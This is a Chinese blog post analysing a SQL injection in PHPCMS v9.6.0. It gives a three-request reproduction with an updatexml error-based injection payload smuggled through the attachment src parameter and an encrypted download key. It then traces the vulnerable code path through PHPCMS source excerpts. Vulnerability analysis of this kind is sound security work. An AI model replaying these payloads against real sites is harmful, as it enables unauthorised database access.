phpcms_v9.6.0的SQL注入

版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/caiqiiqi/article/details/84848676

参考:
https://zhuanlan.zhihu.com/p/26263513

安装

phpcms所有版本安装:
http://download.phpcms.cn
在这里插入图片描述

步骤

请求一:先拿到cookie

GET /phpcms_v9.6.0_UTF8/install_package/index.php?m=wap&c=index&a=init&siteid=1 HTTP/1.1

在这里插入图片描述

请求二:将这个cookie值作为userid_flash的值

在这里插入图片描述
并带上src参数的值为urlencoded的SQL注入payload。

POST /phpcms_v9.6.0_UTF8/install_package/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26&XDEBUG_SESSION_START=PHPSTORM HTTP/1.1
Host: 192.168.170.138
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

userid_flash=da90bGQOz3V90uIG23f384565T_CVQenu4kX1NTZ

这里urldecoded的payload为:

&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&

请求三:得到wknv_att_json的值,并作为a_k的payload

GET /phpcms_v9.6.0_UTF8/install_package/index.php?m=content&c=down&a_k=3924MOMhPqAhlJWpX4mgX_7ao1cb-rNZegUyjGe-i7FZQngtlY0EU_zBu3FfDXnaGm_VHpkjfLXEwslJ1J-F5B0kVwtCffMUfjEoxJudu2CwAE2iQ7SEr-q8kbQLjigKLmwlccOOs8-_aOVwhfJcwGXb-qDeiyTYfnKHAYLM0q_3CbBQ9y-BRyA HTTP/1.1

在这里插入图片描述
得到sql语句执行后的结果。

分析

index.php

在这里插入图片描述
先引入base.php,然后调用base.php中的pc_base类的create_app()函数。会加载libs/classes/application.class.php

base.php

base.php中定义了pc_base类:以及其create_app()函数。

class pc_base {
	
	/**
	 * 初始化应用程序
	 */
	public static function creat_app() {
		return self::load_sys_class('application');
	}
	/**
	 * 加载系统类方法
	 * @param string $classname 类名
	 * @param string $path 扩展地址
	 * @param intger $initialize 是否初始化
	 */
	public static function load_sys_class($classname, $path = '', $initialize = 1) {
			return self::_load_class($classname, $path, $initialize);
	}
	/**
	 * 加载类文件函数
	 * @param string $classname 类名
	 * @param string $path 扩展地址
	 * @param intger $initialize 是否初始化
	 */
	private static function _load_class($classname, $path = '', $initialize = 1) {
		static $classes = array();
		if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';

		$key = md5($path.$classname);
		if (isset($classes[$key])) {
			if (!empty($classes[$key])) {
				return $classes[$key];
			} else {
				return true;
			}
		}
	...
	}

create_app()函数会加载libs/classes/application.class.php,并执行其构造方法。

libs/classes/application.class.php

<?php
/**
 *  application.class.php PHPCMS应用程序创建类
 *
 * @copyright			(C) 2005-2010 PHPCMS
 * @license				http://www.phpcms.cn/license/
 * @lastmodify			2010-6-7
 */
class application {
	
	/**
	 * 构造函数
	 */
	public function __construct() {
		$param = pc_base::load_sys_class('param');   // 这里载入了libs/classes/param.class.php
		define('ROUTE_M', $param->route_m());
		define('ROUTE_C', $param->route_c());
		define('ROUTE_A', $param->route_a());
		$this->init();
	}
	/**
	 * 调用件事(最终调用某类的某方法)
	 */
	private function init() {
		$controller = $this->load_controller();
		if (method_exists($controller, ROUTE_A)) {
			if (preg_match('/^[_]/i', ROUTE_A)) {
				exit('You are visiting the action is to protect the private action');
			} else {
				call_user_func(array($controller, ROUTE_A));
			}
		} else {
			exit('Action does not exist.');
		}
	}
	
	/**
	 * 加载控制器(就是加载对应的类,初始化一个该类的对象)
	 * @param string $filename
	 * @param string $m
	 * @return obj
	 */
	private function load_controller($filename = '', $m = '') {
		if (empty($filename)) $filename = ROUTE_C;
		if (empty($m)) $m = ROUTE_M;
		$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';  //构造得到该类文件 
		if (file_exists($filepath)) {
			$classname = $filename;
			include $filepath;
			if ($mypath = pc_base::my_path($filepath)) {
				$classname = 'MY_'.$filename;
				include $mypath;
			}
			if(class_exists($classname)){
				return new $classname;
			}else{
				exit('Controller does not exist.');
 			}
		} else {
			exit('Controller does not exist.');
		}
	}

在其构造方法中,调用 pc_base::load_sys_class('param');会载入libs/classes/param.class.php,而后define了三个变量,这三个变量通过查看libs/classes/param.class.php可看出是获取了GET[]_GET[]或者_POST[]数组的m、c、a变量。于是define之后,将这些请求中的变量赋值给了ROUTE_M,ROUTE_C,ROUTE_A。

所以php中的路由就是这个吧。就是将类名和函数名传入,然后调用call_user_func。call_user_func(array($controller, ROUTE_A));

其中,若请求中未传入a参数,则从$this->route_config['a'];得到。而$this->route_configlibs/classes/param.class.php的开头的L22定义。

$this->route_config = pc_base::load_config('route', SITE_URL) ? pc_base::load_config('route', SITE_URL) : pc_base::load_config('route', 'default');

这里载入的pc_base::load_config(‘route’, ‘default’);就是在
caches/configs/route.php文件中。

return array(
	'default'=>array('m'=>'content', 'c'=>'index', 'a'=>'init'),
);

即默认的模块(m)为content 目录;默认的类(c)为index.php,默认的函数(a)为init()。
所以最后一个请求中

index.php?m=content&c=down&a_k=xxx

未指定a参数,就会交给content/down.php的init()函数处理。

libs/classes/param.class.php

<?php
/**
 *  param.class.php	参数处理类
 *
 * @copyright			(C) 2005-2012 PHPCMS
 * @license				http://www.phpcms.cn/license/
 * @lastmodify			2012-9-17
 */
class param {

	//路由配置
	private $route_config = '';
	
	public function __construct() {
		if(!get_magic_quotes_gpc()) {
			$_POST = new_addslashes($_POST);
			$_GET = new_addslashes($_GET);
			$_REQUEST = new_addslashes($_REQUEST);
			$_COOKIE = new_addslashes($_COOKIE);
		}

		$this->route_config = pc_base::load_config('route', SITE_URL) ? pc_base::load_config('route', SITE_URL) : pc_base::load_config('route', 'default');

		if(isset($this->route_config['data']['POST']) && is_array($this->route_config['data']['POST'])) {
			foreach($this->route_config['data']['POST'] as $_key => $_value) {
				if(!isset($_POST[$_key])) $_POST[$_key] = $_value;
			}
		}
		if(isset($this->route_config['data']['GET']) && is_array($this->route_config['data']['GET'])) {
			foreach($this->route_config['data']['GET'] as $_key => $_value) {
				if(!isset($_GET[$_key])) $_GET[$_key] = $_value;
			}
		}
		if(isset($_GET['page'])) {
			$_GET['page'] = max(intval($_GET['page']),1);
			$_GET['page'] = min($_GET['page'],1000000000);
		}
		return true;
	}

	/**
	 * 获取模型(module后的目录名)
	 */
	public function route_m() {
		$m = isset($_GET['m']) && !empty($_GET['m']) ? $_GET['m'] : (isset($_POST['m']) && !empty($_POST['m']) ? $_POST['m'] : '');//GET设置了就用GET,否则用哪个POST的m参数
		$m = $this->safe_deal($m);
		if (empty($m)) {
			return $this->route_config['m'];
		} else {
			if(is_string($m)) return $m;
		}
	}

	/**
	 * 获取控制器(具体的类)
	 */
	public function route_c() {
		$c = isset($_GET['c']) && !empty($_GET['c']) ? $_GET['c'] : (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : '');
		$c = $this->safe_deal($c);
		if (empty($c)) {
			return $this->route_config['c'];
		} else {
			if(is_string($c)) return $c;
		}
	}

	/**
	 * 获取事件(具体类的具体处理函数)
	 */
	public function route_a() {
		$a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) && !empty($_POST['a']) ? $_POST['a'] : '');
		$a = $this->safe_deal($a);
		if (empty($a)) {
			return $this->route_config['a'];
		} else {
			if(is_string($a)) return $a;
		}
	}
...

	/**
	 * 安全处理函数
	 * 处理m,a,c
	 */
	private function safe_deal($str) {
		return str_replace(array('/', '.'), '', $str);  // 把$str 中的/ . 替换为空
	}
}
?>

在该类中会处理GET请求过来的a, m, c等参数。
在请求中传入的index.php?m=attachment&c=attachments&a=swfupload_json,表示传给attachment/attachments.phpswfupload_json()函数处理。

./modules/attachment/attachments.php

在这里插入图片描述

		$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));

依次判断$_SESSION['userid']param::get_cookie('_userid')sys_auth($_POST['userid_flash'],'DECODE')的值。这个$this->userid很重要,因为如果没有获取到,就得重新登录,终止这次请求(L21~L22)。

	/**
	 * 设置swfupload上传的json格式cookie
	 */
	public function swfupload_json() {
		$arr['aid'] = intval($_GET['aid']);
		$arr['src'] = safe_replace(trim($_GET['src']));
		$arr['filename'] = urlencode(safe_replace($_GET['filename']));  //漏洞利用请求里没有这个字段
		$json_str = json_encode($arr);
		$att_arr_exist = param::get_cookie('att_json'); // 第一次没有set的话,是空的
		$att_arr_exist_tmp = explode('||', $att_arr_exist);
		if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
			return true;
		} else {
			$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str; // 第一次是空的,所以就取$json_str了
			param::set_cookie('att_json',$json_str);
			return true;			
		}
	}

所以整个过程就是把aid和src字段进行json_encode(),然后作为参数传入param::set_cookie()。
其中get_cookie()set_cookie()libs/classes/param.class.php中定义。然后将经过sys_auth(“ENCODE”)加密的SQL注入payload通过Set-Cookie中的wknmv_att_json的值响应给客户端。

libs/classes/param.class.php

	/**
	 * 设置 cookie
	 * @param string $var     变量名
	 * @param string $value   变量值
	 * @param int $time    过期时间
	 */
	public static function set_cookie($var, $value = '', $time = 0) {
		$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
		$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
		$var = pc_base::load_config('system','cookie_pre').$var;  //caches/configs/system.php:13:'cookie_pre' => 'wknmv_', //Cookie 前缀,同一域名下安装多套系统时,请修改Cookie前缀
		$_COOKIE[$var] = $value;
		if (is_array($value)) { //若$value为数组,则对其每一个值setcookie()
			foreach($value as $k=>$v) {
				setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
			}
		} else {
			setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
		}
	}

	/**
	 * 获取通过 set_cookie 设置的 cookie 变量 
	 * @param string $var 变量名
	 * @param string $default 默认值 
	 * @return mixed 成功则返回cookie 值,否则返回 false
	 */
	public static function get_cookie($var, $default = '') {
		$var = pc_base::load_config('system','cookie_pre').$var;
		$value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;
		if(in_array($var,array('_userid','userid','siteid','_groupid','_roleid'))) {
			$value = intval($value);
		} elseif(in_array($var,array('_username','username','_nickname','admin_username','sys_lang'))) { //  site_model auth
			$value = safe_replace($value);
		}
		return $value;
	}

libs/functions/global.func.php

/**
* 字符串加密、解密函数
*
*
* @param	string	$txt		字符串
* @param	string	$operation	ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,
* @param	string	$key		密钥:数字、字母、下划线
* @param	string	$expiry		过期时间
* @return	string
*/
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
...
}

在最终的请求三中,url为index.php?m=content&c=down&a_k=xxx
请求index.php后,会通过路由将请求交给modules/content/down.php的init()函数处理。其中init()函数如下:

modules/content/down.php

在这里插入图片描述
会通过libs/functions/global.func.php的sys_auth()函数处理。sys_auth()将payload解密,解密之后的a_k变量的值如图中的调试变量所示。


{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}

L24,获取到表名:phpcmsv9_download。然后调用get_one()函数,

libs/classes/model.class.php

get_one()函数
在这里插入图片描述
调用了sqls()函数。

libs/classes/model.class.php

在这里插入图片描述

foreach ($where as $key=>$val) {
				$sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";
			}

这里将原来的值转换为

`id` = '' and updatexml(1,concat(1,(user())),1)#'

最后返回的值为:
k

在请求一中,url为index.php?m=wap&c=index&a=init&siteid=1

展开阅读全文

没有更多推荐了,返回首页